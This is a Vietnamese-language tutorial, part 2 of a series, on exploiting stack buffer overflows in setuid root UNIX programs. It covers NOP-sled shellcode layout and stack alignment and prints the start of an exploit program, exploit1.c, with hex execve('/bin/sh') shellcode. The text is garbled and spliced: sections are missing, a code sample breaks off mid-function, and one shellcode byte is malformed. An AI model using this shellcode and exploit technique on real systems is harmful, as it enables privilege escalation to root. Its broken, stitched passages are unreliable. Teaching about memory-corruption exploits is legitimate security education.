KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)
trang này đã được đọc lần
Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm
Mục lục
• 1. Quyền root và chương trình setuid/setgid
• 2. Chương trình bị tràn bộ đệm
• 3. Tổ chức shellcode trên bộ nhớ
• 4. Xác định địa chỉ shellcode
• 5. Viết chương trình khai thác lỗi tràn bộ đệm
o 5.1. Truyền shellcode qua bộ đệm
o 5.2. Truyền shellcode qua biến môi trường
• 6. Kết luận
• Tài liệu tham khảo
• Liên kết
1. Quyền root và chương trình setuid/setgid
Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root
(superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi
hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file
/etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp
một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như
setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết
lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root:
-r-s--x--x 1 root root 12244 Feb 8 2000 /usr/bin/passwd
Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file,
ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc
tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này:
/* suidsh.c */
void main() {
setuid(0);
system("/bin/sh");
Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong
chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của "con trỏ lệnh bảo lưu" (
saved instruction pointer
)
được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy
chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.
3. Tổ chức shellcode trên bộ nhớ
Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định
được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể
biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số
khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa
shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi
không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP,
CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.
Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để
không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở
khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ
đệm chứa shellcode sẽ có dạng:
Hình 1: Tổ chức shellcode trên bộ nhớ
Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra.
Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm
Before After
Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte
(32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước
chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2
hoặc 3 byte.
Hình 3: Các khả năng sắp xếp biến trên stack
Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi "segmentation
violation" hoặc "illegal instruction", tuy nhiên chúng ta có thể sử dụng phương pháp "thử và sai" để tìm được
trình bị tràn bộ đệm.
Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ
xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương
pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là
cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa.
Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c
5.1. Truyền shellcode qua bộ đệm
Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi,
kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm
chứa shellcode).
/* exploit1.c */
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 // mã asm của lệnh NOP
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc < 2) {
printf("Usage: %s target [bsize offset]\n", argv[0]);
exit(0);